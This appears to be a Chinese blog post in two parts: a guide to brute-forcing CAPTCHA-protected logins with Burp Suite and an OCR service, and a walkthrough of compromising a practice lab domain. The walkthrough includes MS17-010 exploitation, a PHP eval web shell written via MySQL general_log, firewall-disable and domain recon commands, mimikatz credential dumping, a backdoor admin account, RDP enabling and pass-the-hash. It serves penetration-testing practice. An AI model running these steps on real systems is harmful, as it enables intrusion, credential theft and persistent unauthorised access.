0%

1.验证码插件下载

本次使用的验证码插件是captcha-killer-modified:https://github.com/f0ng/captcha-killer-modified

插件使用教程:https://gv7.me/articles/2019/burp-captcha-killer-usage/

2.教程

微信文章教程:https://mp.weixin.qq.com/s/_P6OlL1xQaYSY1bvZJL4Uw

2.1BurpSuite安装插件

image-20221226142458806

2.2启动验证码识别服务

将下面的代码保存成py文件,使用python3执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import argparse
import ddddocr # 导入 ddddocr
from aiohttp import web

parser = argparse.ArgumentParser()
parser.add_argument("-p", help="http port",default="8888")
args = parser.parse_args()

ocr = ddddocr.DdddOcr()
port = args.p

async def handle_cb(request):
return web.Response(text=ocr.classification(img_base64=await request.text()))

app = web.Application()
app.add_routes([
web.post('/reg', handle_cb),
])

if __name__ == '__main__':
web.run_app(app, port=port)

image-20221226145305372

此时验证码识别服务是建立在本机的8888端口之上的

2.3设置验证码识别模板和接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /reg HTTP/1.1
Host: 127.0.0.1:8888
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

<@BASE64><@IMG_RAW></@IMG_RAW></@BASE64>

image-20221226145453758

2.4获取验证码的地址和数据包

可单独访问获取验证码的地址,并抓取它的数据包

image-20221226145547812

将验证码接口地址和数据包填入插件中

可以直接将这个数据包发送到插件中,也可以自己填

image-20221226145820456

点击获取,就能获取到验证码了

image-20221226145900859

2.5开始爆破

将需要爆破的登录框数据包发送到BP的爆破模块,把对应需要爆破的参数加上标记

image-20221226150221905

模式选择为Pitchfork

image-20221226150353704

第一个密码参数就设置对应的密码字典

第二个参数的字典选择插件来生成

image-20221226150552223

一、靶场拓扑图

二、关闭防火墙

三台靶场机器都搭建好之后,在我的win10上访问win7,发现打不开网页,但是在win7的浏览器访问自己的80端口又是能够访问到探针网页的。然后发现win7的防火墙没关,关了就能在win10上成功访问win7的探针页面了。

image-20221218201340033

三、渗透

使用fscan收集win7的信息,发现MS17-010

image-20221218201540257

利用MSF的模块成功拿下

image-20221218202923059

通过查看win7的网卡,发现有内网环境

image-20221218203035819

再使用目录扫描看看,发现phpmyadmin

image-20221218210752719

弱口令root/root就进来了

image-20221218210832820

这下为NULL就不能写dll了

image-20221218211153107

回顾一下MySQL的利用方式

1
2
UDF提权GetShell
利用general_log拿Shell (如果导入导出被禁了就可以试试这个方法)

现在只有利用日志文件写Shell了,先看看日志文件路径

1
2
3
show global variables like '%general%';

路径为:C:\phpStudy\MySQL\data\stu1.log

image-20221218211911781

1
2
3
set global general_log=on;
set global general_log_file='C:/phpStudy/www/10086.php';
select '<?php eval($_POST[10086]) ?>';

为什么这里的地址是www路径,使用过phpstudy的都知道,MySQL安装目录是和WWW目录是在同一个目录下的

连接成功

image-20221218212817661

内网信息收集

先上线CS

image-20221218230509043

通过查看systeminfo命令发现存在域,域名为god.org,且只打了4个补丁

image-20221218230805112

1
2
#查看杀软进程
tasklist / wmic process list brief

也没有杀软

image-20221218231338980

看一下都装了什么软件

image-20221219102446772

DNS服务器所在的网段为192.168.52.0/24

1
2
netsh advfirewall show all state  		  //查看防火墙状态
netsh advfirewall set allprofile state off //关闭防火墙

防火墙是关闭的

查看计算机的域名

1
net group "domain computers" /domain

image-20221218231745017

通过ipconfig /all可知道当前win7的名字为STU1,另外两个是DEV1和ROOT-TVI862UBEH

image-20221218231950238

查看域管理员用户

1
net group "domain admins" /domain

image-20221218232031811

1
2
3
4
5
6
7
8
9
10
11
12
net view                 # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)

域管理员为OWA

CS设置代理,fscan探测存活

image-20221218232616780

找到2台存活主机192.168.52.138、192.168.52.141

给win7的session加上一个到达192.168.52.138的路由,并探测一下17-010

image-20221218233529129

不过没有利用成功

使用stowaway上个代理,挂上代理扫描一波192.168.52.0/24网段

image-20221219093000207

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#mimikatz的一些命令
cls: 清屏
standard: 标准模块,基本命令
crypto: 加密相关模块
sekurlsa: 与证书相关的模块
kerberos: kerberos模块
privilege: 提权相关模块
process: 进程相关模块
service: 服务相关模块
lsadump: LsaDump模块
ts: 终端服务器模块
event: 事件模块
misc: 杂项模块
token: 令牌模块
vault: 令牌操作模块
minesweepre:Mine Sweeper模块
dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busyloght: BusyLight Module
sysenv: 系统环境值模块
sid: 安全标识符模块
iis: IIS XML配置模块
rpc: mimikatz的RPC控制
sr98: RDM(830AL)器件的射频模块
acr: ACR模块
version: 查看版本
exit: 推出
creds_msv: 获取密码hash值
creds_kerberos: 获取密码明文

image-20221219095258936

抓到明文密码hongrisec@2022

上线CS并提权

设置监听器,利用蚁剑把马儿上传上去

image-20221219100727037

本想扫描一下端口

1
2
3
4
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set threads 100
run

前面已经发现安装了nmap,就使用nmap来信息收集,懵逼的是在MSF拿的Shell里执行nmap命令提示找不到nmap,CS里也是一样显示找不到,在蚁剑的伪终端里就能使用nmap,发现135/139/445端口也开着的

image-20221219103323378

image-20221219103519072

MSF使用ms17-010扫描模块发现都存在永恒之蓝漏洞

image-20221219103828055

但是192.168.52.141是32位的,就不能使用永恒之蓝去打,但是可以使用命令执行,所以这里可以添加个账号,用3389登录上去,挨个利用命令执行模块执行以下命令

1
2
3
set command net user axin axin123 /add
set command net localgroup administrators axin /add
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

image-20221219110621277

再使用3389连接,成功

image-20221219112233342

收集信息到CS

1
net view

然后使用hash传递,psexec到其他主机

image-20221219145549304